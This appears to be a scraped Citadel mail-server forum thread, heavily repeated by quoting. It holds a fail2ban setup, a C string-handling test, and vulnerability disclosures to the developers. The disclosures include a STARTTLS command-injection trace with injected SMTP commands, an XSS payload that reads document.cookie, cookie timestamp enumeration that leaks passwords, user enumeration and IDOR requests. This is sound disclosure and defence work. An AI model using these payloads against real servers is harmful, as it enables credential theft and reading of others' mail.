On another note, fail2ban's standard sendmail.conf action (used when selecting MTA = sendmail) links to /usr/local/sendmail.  That file links to /usr/local/citadel/citmail on my installation.  Using the -f attribute produces errors.  One needs to update sendmail.conf and sendmail-common.conf to point to citmail.  Everything is working now.

Maybe, in your next build, there is a way to allow the sendmail link to citmail to work without modifying fail2ban's sendmail conf files?

Tue Sep 29 2020 19:58:40 EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

Hello !

While looking through citadel source code I found the code in citadel/support.c::strproc to be a bit suspicious so I created the test shown bellow, I created an alternative implementation doing what in my understand is the intended purpose and the output differ.

====

#include <stdio.h>

#include <string.h>

#define IsEmptyStr(a) ( ( (a) == NULL ) || ((a)[0] == '\0') )

/* remove characters which would interfere with the network */

void removeChars0(char *string)

{

int a;

for (a=0; !IsEmptyStr(&string[a]); ++a) {

while (string[a]=='!') strcpy(&string[a],&string[a+1]);

while (string[a]=='@') strcpy(&string[a],&string[a+1]);

while (string[a]=='_') strcpy(&string[a],&string[a+1]);

while (string[a]==',') strcpy(&string[a],&string[a+1]);

while (string[a]=='%') strcpy(&string[a],&string[a+1]);

while (string[a]=='|') strcpy(&string[a],&string[a+1]);

}

}

void removeChars1(char *string)

{

int a, b;

for (a=0; !IsEmptyStr(&string[a]); ++a) {

                b = a;

for (;;) {

                    switch(string[b]) {

                        case '!':

                        case '@':

                        case '_':

                        case ',':

                        case '%':

                        case '|':

                            ++b;

                            continue;

                    }

                    break;

                }

                if(a != b) strcpy(&string[a],&string[b]);

}

}

int main()

{

const char *test_str = "!!@@!!__,,SOME@@%%||@@|@TEXT!@_,%|__|__|__";

char test[256];

strcpy(test, test_str);

removeChars0(test);

printf("0- %s\n", test);

strcpy(test, test_str);

removeChars1(test);

printf("1- %s\n", test);

return 0;

}

====

And I'm getting this output:

====

./remove-chars-interfere-network

0- !SOME@@TEEXT___

1- SOMETEXT

====

Cheers !

In case you miss it:

"Please discuss and report any and all vulnerabilities here FIRST before reporting them to a national database.

BE REALISTIC.

Don't let your youthful optimism, idealism, and sense of do-goodery shoot this project in the foot.

THERE ARE REALITIES TO THOSE REPORTS. 

Also, According to both NIST & Mitre 

"You should make a GOOD FAITH EFFORT to NOTIFY the affected vendor and WORK WITH THEM to ENSURE that a patch is available PRIOR to PUBLICLY DISCLOSING the vulnerability."   https://cve.mitre.org/cve/researcher_reservation_guidelines#researcher_reservation_guidelines#2

In other words, lets talk BEFORE you report/disclose publicly.  Dropping unwitting CVEs on us causes much wasted effort and many other problems.  It is time spent chasing the unnecessary, which could go into actually fixing problems. 

Even so, we're all about that netsec.  Please come and join us.

Murgi, you can now subscribe to this room.. http://uncensored.citadel.org/listsub

also, I didn't see any mail from you here.  but would still like your test scripts.

Thanks. :)

Wed Dec 02 2020 04:01:55 AM EST from Murgi Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

Sorry, it took me very long to look at this forum again and find this thread (is there any way to get notified of responses via e-mail?). Warbaby, I have sent you the test scripts as requested. Ignatius, have you (or someone else) found any time to look at this?

Tue Sep 29 2020 21:28:18 EDT from warbaby Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

I would like your test script also.  I have a testing environment all set up for this. 

Thu Aug 13 2020 06:16:27 AM EDT from Murgi Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

Hey,

have you found the time to take a look at this yet?

Wed Aug 05 2020 04:07:31 EDT from Murgi Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

 

Tue Aug 04 2020 09:26:49 EDT from IGnatius T Foobar Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

Can you explain a little further what happens after the command injection?
If you want to send the test script privately, you can PM it to me here.
I'd be interested in seeing what happens next on a Citadel implementation.

I'm sure that if a man-in-the-middle attack is possible we can mitigate it pretty easily. Thanks.

 

Sure! In essence this is what the trace of a real MitM attack would look like (C: Client, S: Server, A: Attacker):

S: 220 ebb7034d4bf5 ESMTP Citadel server ready.
C: EHLO localhost
S: b'250-Hello localhost (172.17.0.1 [172.17.0.1])\r\n250-HELP\r\n250-SIZE 10485760\r\n250-AUTH LOGIN PLAIN\r\n250-AUTH=LOGIN PLAIN\r\n250 8BITMIME\r\n'
A: NOOP A*2000
S: 250 NOOP\r\n'
Sending 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: <attacker@example.org>\r\nRCPT TO: <attacker@example.org>\r\nDATA\r\nSubject: This is user data!\r\n\r\n' in one packet ...
A: 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: <attacker@example.org>\r\nRCPT TO: <attacker@example.org>\r\nDATA\r\nSubject: This is user data!\r\n\r\n'
S: 220 Begin TLS negotiation now
<--- TLS connected --->
-----Found command injection here!----
S: 250-Hello localhost (172.17.0.1 [172.17.0.1]) -- encrypted
S: 250-HELP -- encrypted
S: 250-SIZE 10485760 -- encrypted
S: 250-AUTH LOGIN PLAIN
250

And the corresponding log:

citserver[123]: context: session (SMTP-MTA) started from 172.17.0.1 (172.17.0.1) uid=-1
citserver[123]: SMTP server: EHLO localhost
citserver[123]: SMTP server: NOOP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

So the user attacker uses the injection to log in, prepares a mail to themselves (using MAIL FROM, RCPT TO, and DATA). These commands get buffered into the encrypted stream. Now the actual client (alice) sends their commands, but everything is interpreted inside the DATA verb, which is finally closed by the . sent by alice.
The responses to the injections by citadel directly after the handshake will be interpreted as the answers to alice commands (this can be fine tuned in a real MitM scenario by delaying records on a TLS level if necessary, but most clients are fine with this). Finally, the attacker will receive an e-mail from themselves containing the contents of alice's session (including their credentials).

Note: As you can see I am first sending NOOP with a lot of As after it. This is to increase the receive buffer size to make room for the injection.

I have attached a .pcap file of the SMTP connection and will be sending you the test script privately.

Note: Wireshark will not get what is happening after the injection and display only garbage. As a workaround, you can right click an SMTP packet->protocol preferences->Disable SMTP. The TLS records will then be displayed correctly. To restore SMTP later click Analyze->Enabled Protocols and search for SMTP.

 

 

 

Sorry, it took me very long to look at this forum again and find this thread (is there any way to get notified of responses via e-mail?). Warbaby, I have sent you the test scripts as requested. Ignatius, have you (or someone else) found any time to look at this?

Tue Sep 29 2020 21:28:18 EDT from warbaby Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

I would like your test script also.  I have a testing environment all set up for this. 

Thu Aug 13 2020 06:16:27 AM EDT from Murgi Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

Hey,

have you found the time to take a look at this yet?

Wed Aug 05 2020 04:07:31 EDT from Murgi Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

 

Tue Aug 04 2020 09:26:49 EDT from IGnatius T Foobar Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

Can you explain a little further what happens after the command injection?
If you want to send the test script privately, you can PM it to me here.
I'd be interested in seeing what happens next on a Citadel implementation.

I'm sure that if a man-in-the-middle attack is possible we can mitigate it pretty easily. Thanks.

 

Sure! In essence this is what the trace of a real MitM attack would look like (C: Client, S: Server, A: Attacker):

S: 220 ebb7034d4bf5 ESMTP Citadel server ready.
C: EHLO localhost
S: b'250-Hello localhost (172.17.0.1 [172.17.0.1])\r\n250-HELP\r\n250-SIZE 10485760\r\n250-AUTH LOGIN PLAIN\r\n250-AUTH=LOGIN PLAIN\r\n250 8BITMIME\r\n'
A: NOOP A*2000
S: 250 NOOP\r\n'
Sending 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: <attacker@example.org>\r\nRCPT TO: <attacker@example.org>\r\nDATA\r\nSubject: This is user data!\r\n\r\n' in one packet ...
A: 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: <attacker@example.org>\r\nRCPT TO: <attacker@example.org>\r\nDATA\r\nSubject: This is user data!\r\n\r\n'
S: 220 Begin TLS negotiation now
<--- TLS connected --->
-----Found command injection here!----
S: 250-Hello localhost (172.17.0.1 [172.17.0.1]) -- encrypted
S: 250-HELP -- encrypted
S: 250-SIZE 10485760 -- encrypted
S: 250-AUTH LOGIN PLAIN
250

And the corresponding log:

citserver[123]: context: session (SMTP-MTA) started from 172.17.0.1 (172.17.0.1) uid=-1
citserver[123]: SMTP server: EHLO localhost
citserver[123]: SMTP server: NOOP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

So the user attacker uses the injection to log in, prepares a mail to themselves (using MAIL FROM, RCPT TO, and DATA). These commands get buffered into the encrypted stream. Now the actual client (alice) sends their commands, but everything is interpreted inside the DATA verb, which is finally closed by the . sent by alice.
The responses to the injections by citadel directly after the handshake will be interpreted as the answers to alice commands (this can be fine tuned in a real MitM scenario by delaying records on a TLS level if necessary, but most clients are fine with this). Finally, the attacker will receive an e-mail from themselves containing the contents of alice's session (including their credentials).

Note: As you can see I am first sending NOOP with a lot of As after it. This is to increase the receive buffer size to make room for the injection.

I have attached a .pcap file of the SMTP connection and will be sending you the test script privately.

Note: Wireshark will not get what is happening after the injection and display only garbage. As a workaround, you can right click an SMTP packet->protocol preferences->Disable SMTP. The TLS records will then be displayed correctly. To restore SMTP later click Analyze->Enabled Protocols and search for SMTP.

 

 

Here is a brief, unofficial answer:

In the short term, most/many can be fixed by filtering urls and request arguments using Nginx to proxy..

Such as:

location /                
  {
   if ($arg_template ~ "user_list") { return 403 "Forbidden";} # restrict user list completely
   if ($arg_template ~ "who") { return 403 "Forbidden";}	      # disable who's online
   if ($arg_template ~ "msg_confirm_move") { return 403 "Forbidden";  # restrict moving messages, until that gets sorted out.. 
  # etc.. 
  proxy_pass         http://127.0.0.1:8080/;
   # etc.. 
  }

[These rules will be more fully fleshed out.]

Along with this goes some minor edits in the static directory. [Which is being worked on right now. ]

The session cookie is a little bit more involved, but it's being discussed right now.

I'm hoping to have more complete configs posted as time allows.

Nginx is so fast, it's literally unnoticable.. it also offers quite a few other benefits..

Sun Nov 29 2020 06:21:34 PM EST from apo Subject: Re: Multiple Security Vulnerabilities in WebCit 926

 

 

Hi folks,

 

those issues are now well known and were reported to Mitre as security vulnerabilities. Are there any plans or estimates when they are addressed in a new release? I am currently investigating the impact for existing Debian releases of Citadel. Is there anything that could be done to work around the reported vulnerabilities, at least until a new release has been prepared or have you prepared patches already but haven't pushed a new release yet?

 

 

 

 

Sun Oct 25 2020 11:30:55 EDT from warbaby Subject: Re: Multiple Security Vulnerabilities in WebCit 926

Good finds!  We did have some of this, but thank you for your help!   We'll get right to work on it.

Sat Oct 24 2020 11:55:37 AM EDT from simone Subject: Multiple Security Vulnerabilities in WebCit 926

 

Hello people,
Being myself an active user of the Citadel project, I would like to submit some security issues I’ve identified during a security review

 

 

My local setup is as follow:

 

 

• Ubuntu Server 20.04.1
• Citadel 929
• WebCit 926
• server build 929

 

 

 

 

 -----------Unauthenticated User Enumeration-----------

 

 

Valid Request:

 

GET /ajax_login_username_password?name=admin HTTP/1.1
Host: 192.168.1.239:8080

 

Valid response:

 

540 Wrong password.

 

 

 

Invalid Request:

 

GET /ajax_login_username_password?name=notregistereduser HTTP/1.1
Host: 192.168.1.239:8080

 

Invalid Response:

 

570 notregistereduser not found.

 

 

 

The same behavior was also observed via:

 

/do_template?template=user_show?who=admin

/do_template?template=who || /summary

 

 

 

 You're probably aware of this, but I just wanted to include it in the list.

 

 

-----------Weak Session Management-----------

 

webcit cookie was found to use timestamp to handle user's session; when a correct timestamp is identified (a timestamp in which a valid user logged in the system), WebCit returns the full username and cleartext password in the response.

 

 

As highlighted in auth.c source code, the cookie structure is as follow:

 

cookie_to_stuff(Line, &hdr->HR.desired_session,

                                             hdr->c_username,

                                             hdr->c_password,

                                             hdr->c_roomname,

                                             hdr->c_language

               );

 

The pipe (|) character is used to separate those elements.

 

An attacker could enumerate valid timestamps (HD.desired_session) via the following:

 

<timestamp>|||||

 

 

 

Once a valid timestamp is found (in my case 1600782178), WebCit will return the following in the response:

 

[...]

Set-cookie: webcit=313630303738323137387C4E6577557365727C4D7953656372657450617373776F72647C4C6F6262797C656E5F55537C; path=/

[...]

 

 

 

Once decoded (hex->ascii) will result in the disclosure of the username and cleartext password:

 

1600782178|NewUser|MySecretPassword|Lobby|en_US|

 

 

 

 

 

-----------Unauthenticated Stored XSS-----------

 

The Instant Message functionality (/display_page?recp=<useraneme>) was found to be susceptible to Cross-Site Scripting. This can allow an attacker to exfiltrate session cookies of logged-in users.

 

 

 

Proof of concept:

 

POST /page_user HTTP/1.1
Host: 192.168.1.55
Content-Length: 148
Content-Type: application/x-www-form-urlencoded

nonce=<validnonce>&template=who&recp=admin&msgtext=%3Cimg+src%2Fonerror%3Dalert%28document.cookie%29%3E%0D%0A&send_button=Send+message

 

 

 

Additional (reflected) XSS were identified in:

 

• GET /wiki_history (page parameter)
• POST /entroom (er_name parameter)
• POST /upload_attachment (Content-Type of qqfile parameter)
• GET /ajax_login_username_password (name parameter)

 

 

 

 

 

 

-----------Insecure Direct Object Reference-----------

 

Any logged-in user would be able to read someone else's emails using the Move to folder functionality (/do_template?template=msg_confirm_move?msgid=<msgID>).

 

This particular function was found not to check if a specific msgid belongs to the currently logged-in user before moving the email to a local user's folder.

 

 

 

Proof of concept:

 

POST /move_msg HTTP/1.1
Host: 192.168.1.55
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
Cookie: webcit=<NewUser2 session ID>
Connection: close 

nonce=<valid nonce from msg_confirm_move>&msgid=2748&target_room=Drafts&move_button=Move

 

 

 

In this case msgid 2748 was an email sent from NewUser to admin, however the user performing this action was NewUser2.

 

  

 

This moved the email in NewUser2's Draft folder, allowing access to the email's content.

 

 

 

 

 

-----------Website issue-----------

 

This is publicly available and contains personal photos (as well of minors)

 

https://photos.citadel.org/

 

 

 

The .git folder is available over the main website. This can be crawled and some of the commit made to the websites extracted. Luckily only commits to static pages were found, but this should be removed.

 

https://www.citadel.org/.git/

 

 

 

 Any question let me know.
I already requested four separated Common Vulnerabilities and Exposures numbers to Mitre.

Thanks

 

 

 

 

Hi folks,

those issues are now well known and were reported to Mitre as security vulnerabilities. Are there any plans or estimates when they are addressed in a new release? I am currently investigating the impact for existing Debian releases of Citadel. Is there anything that could be done to work around the reported vulnerabilities, at least until a new release has been prepared or have you prepared patches already but haven't pushed a new release yet?

Sun Oct 25 2020 11:30:55 EDT from warbaby Subject: Re: Multiple Security Vulnerabilities in WebCit 926

Good finds!  We did have some of this, but thank you for your help!   We'll get right to work on it.

Sat Oct 24 2020 11:55:37 AM EDT from simone Subject: Multiple Security Vulnerabilities in WebCit 926

 

Hello people,
Being myself an active user of the Citadel project, I would like to submit some security issues I’ve identified during a security review

 

 

My local setup is as follow:

 

 

• Ubuntu Server 20.04.1
• Citadel 929
• WebCit 926
• server build 929

 

 

 

 

 -----------Unauthenticated User Enumeration-----------

 

 

Valid Request:

 

GET /ajax_login_username_password?name=admin HTTP/1.1
Host: 192.168.1.239:8080

 

Valid response:

 

540 Wrong password.

 

 

 

Invalid Request:

 

GET /ajax_login_username_password?name=notregistereduser HTTP/1.1
Host: 192.168.1.239:8080

 

Invalid Response:

 

570 notregistereduser not found.

 

 

 

The same behavior was also observed via:

 

/do_template?template=user_show?who=admin

/do_template?template=who || /summary

 

 

 

 You're probably aware of this, but I just wanted to include it in the list.

 

 

-----------Weak Session Management-----------

 

webcit cookie was found to use timestamp to handle user's session; when a correct timestamp is identified (a timestamp in which a valid user logged in the system), WebCit returns the full username and cleartext password in the response.

 

 

As highlighted in auth.c source code, the cookie structure is as follow:

 

cookie_to_stuff(Line, &hdr->HR.desired_session,

                                             hdr->c_username,

                                             hdr->c_password,

                                             hdr->c_roomname,

                                             hdr->c_language

               );

 

The pipe (|) character is used to separate those elements.

 

An attacker could enumerate valid timestamps (HD.desired_session) via the following:

 

<timestamp>|||||

 

 

 

Once a valid timestamp is found (in my case 1600782178), WebCit will return the following in the response:

 

[...]

Set-cookie: webcit=313630303738323137387C4E6577557365727C4D7953656372657450617373776F72647C4C6F6262797C656E5F55537C; path=/

[...]

 

 

 

Once decoded (hex->ascii) will result in the disclosure of the username and cleartext password:

 

1600782178|NewUser|MySecretPassword|Lobby|en_US|

 

 

 

 

 

-----------Unauthenticated Stored XSS-----------

 

The Instant Message functionality (/display_page?recp=<useraneme>) was found to be susceptible to Cross-Site Scripting. This can allow an attacker to exfiltrate session cookies of logged-in users.

 

 

 

Proof of concept:

 

POST /page_user HTTP/1.1
Host: 192.168.1.55
Content-Length: 148
Content-Type: application/x-www-form-urlencoded

nonce=<validnonce>&template=who&recp=admin&msgtext=%3Cimg+src%2Fonerror%3Dalert%28document.cookie%29%3E%0D%0A&send_button=Send+message

 

 

 

Additional (reflected) XSS were identified in:

 

• GET /wiki_history (page parameter)
• POST /entroom (er_name parameter)
• POST /upload_attachment (Content-Type of qqfile parameter)
• GET /ajax_login_username_password (name parameter)

 

 

 

 

 

 

-----------Insecure Direct Object Reference-----------

 

Any logged-in user would be able to read someone else's emails using the Move to folder functionality (/do_template?template=msg_confirm_move?msgid=<msgID>).

 

This particular function was found not to check if a specific msgid belongs to the currently logged-in user before moving the email to a local user's folder.

 

 

 

Proof of concept:

 

POST /move_msg HTTP/1.1
Host: 192.168.1.55
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
Cookie: webcit=<NewUser2 session ID>
Connection: close 

nonce=<valid nonce from msg_confirm_move>&msgid=2748&target_room=Drafts&move_button=Move

 

 

 

In this case msgid 2748 was an email sent from NewUser to admin, however the user performing this action was NewUser2.

 

  

 

This moved the email in NewUser2's Draft folder, allowing access to the email's content.

 

 

 

 

 

-----------Website issue-----------

 

This is publicly available and contains personal photos (as well of minors)

 

https://photos.citadel.org/

 

 

 

The .git folder is available over the main website. This can be crawled and some of the commit made to the websites extracted. Luckily only commits to static pages were found, but this should be removed.

 

https://www.citadel.org/.git/

 

 

 

 Any question let me know.
I already requested four separated Common Vulnerabilities and Exposures numbers to Mitre.

Thanks

 

 

 

Good finds!  We did have some of this, but thank you for your help!   We'll get right to work on it.

Sat Oct 24 2020 11:55:37 AM EDT from simone Subject: Multiple Security Vulnerabilities in WebCit 926

 

Hello people,
Being myself an active user of the Citadel project, I would like to submit some security issues I’ve identified during a security review

 

 

My local setup is as follow:

 

 

• Ubuntu Server 20.04.1
• Citadel 929
• WebCit 926
• server build 929

 

 

 

 

 -----------Unauthenticated User Enumeration-----------

 

 

Valid Request:

 

GET /ajax_login_username_password?name=admin HTTP/1.1
Host: 192.168.1.239:8080

 

Valid response:

 

540 Wrong password.

 

 

 

Invalid Request:

 

GET /ajax_login_username_password?name=notregistereduser HTTP/1.1
Host: 192.168.1.239:8080

 

Invalid Response:

 

570 notregistereduser not found.

 

 

 

The same behavior was also observed via:

 

/do_template?template=user_show?who=admin

/do_template?template=who || /summary

 

 

 

 You're probably aware of this, but I just wanted to include it in the list.

 

 

-----------Weak Session Management-----------

 

webcit cookie was found to use timestamp to handle user's session; when a correct timestamp is identified (a timestamp in which a valid user logged in the system), WebCit returns the full username and cleartext password in the response.

 

 

As highlighted in auth.c source code, the cookie structure is as follow:

 

cookie_to_stuff(Line, &hdr->HR.desired_session,

                                             hdr->c_username,

                                             hdr->c_password,

                                             hdr->c_roomname,

                                             hdr->c_language

               );

 

The pipe (|) character is used to separate those elements.

 

An attacker could enumerate valid timestamps (HD.desired_session) via the following:

 

<timestamp>|||||

 

 

 

Once a valid timestamp is found (in my case 1600782178), WebCit will return the following in the response:

 

[...]

Set-cookie: webcit=313630303738323137387C4E6577557365727C4D7953656372657450617373776F72647C4C6F6262797C656E5F55537C; path=/

[...]

 

 

 

Once decoded (hex->ascii) will result in the disclosure of the username and cleartext password:

 

1600782178|NewUser|MySecretPassword|Lobby|en_US|

 

 

 

 

 

-----------Unauthenticated Stored XSS-----------

 

The Instant Message functionality (/display_page?recp=<useraneme>) was found to be susceptible to Cross-Site Scripting. This can allow an attacker to exfiltrate session cookies of logged-in users.

 

 

 

Proof of concept:

 

POST /page_user HTTP/1.1
Host: 192.168.1.55
Content-Length: 148
Content-Type: application/x-www-form-urlencoded

nonce=<validnonce>&template=who&recp=admin&msgtext=%3Cimg+src%2Fonerror%3Dalert%28document.cookie%29%3E%0D%0A&send_button=Send+message

 

 

 

Additional (reflected) XSS were identified in:

 

• GET /wiki_history (page parameter)
• POST /entroom (er_name parameter)
• POST /upload_attachment (Content-Type of qqfile parameter)
• GET /ajax_login_username_password (name parameter)

 

 

 

 

 

 

-----------Insecure Direct Object Reference-----------

 

Any logged-in user would be able to read someone else's emails using the Move to folder functionality (/do_template?template=msg_confirm_move?msgid=<msgID>).

 

This particular function was found not to check if a specific msgid belongs to the currently logged-in user before moving the email to a local user's folder.

 

 

 

Proof of concept:

 

POST /move_msg HTTP/1.1
Host: 192.168.1.55
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
Cookie: webcit=<NewUser2 session ID>
Connection: close 

nonce=<valid nonce from msg_confirm_move>&msgid=2748&target_room=Drafts&move_button=Move

 

 

 

In this case msgid 2748 was an email sent from NewUser to admin, however the user performing this action was NewUser2.

 

  

 

This moved the email in NewUser2's Draft folder, allowing access to the email's content.

 

 

 

 

 

-----------Website issue-----------

 

This is publicly available and contains personal photos (as well of minors)

 

https://photos.citadel.org/

 

 

 

The .git folder is available over the main website. This can be crawled and some of the commit made to the websites extracted. Luckily only commits to static pages were found, but this should be removed.

 

https://www.citadel.org/.git/

 

 

 

 Any question let me know.
I already requested four separated Common Vulnerabilities and Exposures numbers to Mitre.

Thanks

 

 

Hello people,
Being myself an active user of the Citadel project, I would like to submit some security issues I’ve identified during a security review

My local setup is as follow:

• Ubuntu Server 20.04.1
• Citadel 929
• WebCit 926
• server build 929

 -----------Unauthenticated User Enumeration-----------

Valid Request:

GET /ajax_login_username_password?name=admin HTTP/1.1
Host: 192.168.1.239:8080

Valid response:

540 Wrong password.

Invalid Request:

GET /ajax_login_username_password?name=notregistereduser HTTP/1.1
Host: 192.168.1.239:8080

Invalid Response:

570 notregistereduser not found.

The same behavior was also observed via:

/do_template?template=user_show?who=admin

/do_template?template=who || /summary

 You're probably aware of this, but I just wanted to include it in the list.

-----------Weak Session Management-----------

webcit cookie was found to use timestamp to handle user's session; when a correct timestamp is identified (a timestamp in which a valid user logged in the system), WebCit returns the full username and cleartext password in the response.

As highlighted in auth.c source code, the cookie structure is as follow:

cookie_to_stuff(Line, &hdr->HR.desired_session,

                                             hdr->c_username,

                                             hdr->c_password,

                                             hdr->c_roomname,

                                             hdr->c_language

               );

The pipe (|) character is used to separate those elements.

An attacker could enumerate valid timestamps (HD.desired_session) via the following:

<timestamp>|||||

Once a valid timestamp is found (in my case 1600782178), WebCit will return the following in the response:

[...]

Set-cookie: webcit=313630303738323137387C4E6577557365727C4D7953656372657450617373776F72647C4C6F6262797C656E5F55537C; path=/

[...]

Once decoded (hex->ascii) will result in the disclosure of the username and cleartext password:

1600782178|NewUser|MySecretPassword|Lobby|en_US|

-----------Unauthenticated Stored XSS-----------

The Instant Message functionality (/display_page?recp=<useraneme>) was found to be susceptible to Cross-Site Scripting. This can allow an attacker to exfiltrate session cookies of logged-in users.

Proof of concept:

POST /page_user HTTP/1.1
Host: 192.168.1.55
Content-Length: 148
Content-Type: application/x-www-form-urlencoded

nonce=<validnonce>&template=who&recp=admin&msgtext=%3Cimg+src%2Fonerror%3Dalert%28document.cookie%29%3E%0D%0A&send_button=Send+message

Additional (reflected) XSS were identified in:

• GET /wiki_history (page parameter)
• POST /entroom (er_name parameter)
• POST /upload_attachment (Content-Type of qqfile parameter)
• GET /ajax_login_username_password (name parameter)

-----------Insecure Direct Object Reference-----------

Any logged-in user would be able to read someone else's emails using the Move to folder functionality (/do_template?template=msg_confirm_move?msgid=<msgID>).

This particular function was found not to check if a specific msgid belongs to the currently logged-in user before moving the email to a local user's folder.

Proof of concept:

POST /move_msg HTTP/1.1
Host: 192.168.1.55
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
Cookie: webcit=<NewUser2 session ID>
Connection: close 

nonce=<valid nonce from msg_confirm_move>&msgid=2748&target_room=Drafts&move_button=Move

In this case msgid 2748 was an email sent from NewUser to admin, however the user performing this action was NewUser2.

